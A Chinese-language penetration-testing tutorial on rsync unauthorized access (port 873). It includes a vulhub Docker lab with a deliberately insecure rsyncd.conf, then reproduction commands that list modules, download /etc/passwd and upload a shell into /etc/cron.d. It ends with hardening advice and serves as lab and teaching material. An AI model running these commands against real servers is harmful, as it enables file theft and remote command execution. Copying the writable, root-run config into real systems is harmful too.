rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。
0x01漏洞原理rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
0x02漏洞危害rsync未授权访问会造成严重的信息泄露,攻击者可以上传脚本后门文件,远程命令执行。
0x03环境搭建docker-compose.yml
version: '2' services: rsync: build: . ports: - "873:873"
docker-entrypoint.sh
#!/bin/bash set -ex service cron start exec rsync --no-detach --daemon --config /etc/rsyncd.conf
rsyncd.conf
uid = root gid = root use chroot = no max connections = 4 syslog facility = local5 pid file = /var/run/rsyncd.pid log file = /var/log/rsyncd.log [src] path = / comment = src path read only = no
Dockerfile
FROM vulhub/rsync:3.1.2 LABEL maintainer="phithon" COPY rsyncd.conf /etc/rsyncd.conf COPY docker-entrypoint.sh /docker-entrypoint.sh RUN apt-get update && apt-get install --no-install-recommends -y cron && mkdir /data/ && chmod +x /docker-entrypoint.sh && rm -rf /var/lib/apt/lists/* CMD ["/docker-entrypoint.sh"]
启动漏洞环境:
docker-compose build docker-compose up -d0x04漏洞复现
使用nmap检测rsync未授权访问:
nmap -p 873 --script rsync-list-modules 192.168.193.128
使用rsync命令访问:
rsync rsync://your-ip:873/
查看模块列表:
列出模块下的文件:
rsync rsync://your-ip:873/src/
下载文件命令:
rsync -av rsync://your-ip:873/src/etc/passwd ./
上传文件命令:
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell0x05修复建议
更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制:设置host allow,限制允许访问主机的IP。
权限控制:设置read only,将模块设置成只读。
访问认证:设置auth、secrets,认证成功才能调用服务。
模块隐藏:设置list,将模块隐藏。
*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。
更多渗透测试干货学习,私信交流
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)